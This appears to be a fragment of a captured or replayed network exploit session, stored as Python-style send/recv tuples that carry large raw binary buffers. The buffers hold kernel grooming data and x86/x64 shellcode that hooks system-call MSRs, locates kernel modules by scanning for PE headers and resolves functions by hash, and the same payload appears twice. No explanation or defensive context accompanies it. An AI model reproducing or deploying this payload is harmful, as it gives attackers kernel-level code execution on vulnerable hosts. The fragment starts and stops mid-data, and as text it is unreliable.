\\xf0\\xdf\\xff\\x00\\xf1\\xdf\\xff\\xff\\xff\\xff\\xff`\\x00\\x04\\x10\\x00\\x00\\x00\\x00\\x80\\xef\\xdf\\xff\\x00\\x00\\x00\\x00\\x10\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x18\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x00\\x04\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xff\\xcf\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x009\\xbbfd4d9L7LS8S9B/wrEIUITZWAQeOPEtmB9vuq8KgrAP3loQnkmQdvP0QF9j8CIF9EdmNK3KEnH2CBme0Xxbx/WOOCBCDPvvjJYvcvf95egcjZ+dWquiACPOkTFW3JS6M+sLa/pa6uVzjjWOIeBX+V3Pu12C9PjUWOoRfFOAX+SFzVJL4ugpzxsVRvgFvIgqXupq+y6bfWsK90pWeE5qzBSTKcSepm0GPGr/rJg0hJn4aVBbsdnXxM2ZCDorVUsFUsF9vXC2UIJlsx5yEdThqQ5MoEd6tRwRSfYA87dvMJrPfpB8qLIaFHNX684tJJn30Bx0vnkLW3oRcGKuBqZdJ/PI4yIm++QVKkBLVa106S2gpwejplTs510cW0VN+8yVJAuZhPZSij7FLlAE4zS0bjSo6lP098nSduB9h9eziOeLhd1KG16h+g8xP2CV1VsNhr9ao+2cmCeiHYhbceDilST+ASGztHMWarFIlJUL6qlCrptzEJTk+er2j7SfHHT0nNtEa4+JRvPq5C21Kd1pcQ7vKlvZ5flQs1vvXTGZhYZKTv5lrdWNEtVEzGh+KvTFJxqKz5LNvLPT/0yRqcO6deL/nmv3UCt+B0Ut2X6cNonJG76Ut78wcRv4YP2MwApDS9fSz2AGGVxm246qiUiKWWtM6w40aDjuPH7gCQEoDHwhJgvLgmSaibPwjJrDzO0hMGDrp6SxwIFNS1G2oAPcvOn4CL4JDuLCBs08NtDrQysl0WMgCIBM+1O5D8Lue0J0359/4fCzqNCvBoqgyss9YWZb6wy6C/Kz4ak/Qmt74uXsA71fduIs3zEs6CAPpQQlvXMlZYWczpenAS2b+gO6aHHEFZBJmJ6Vy9I4RoLIPH/8Ig1ManJzkgPODvGvcuE/WUDFmiIiwGMlFMFTchBTVUQSPaLFWMUk6FqeO1LTY2/Rc3lSWSuBVeAAtlUNa6kfXqh/9==', 0.0)", "('recv', 1, 0.0)", '(\'send\', 3, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 4, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 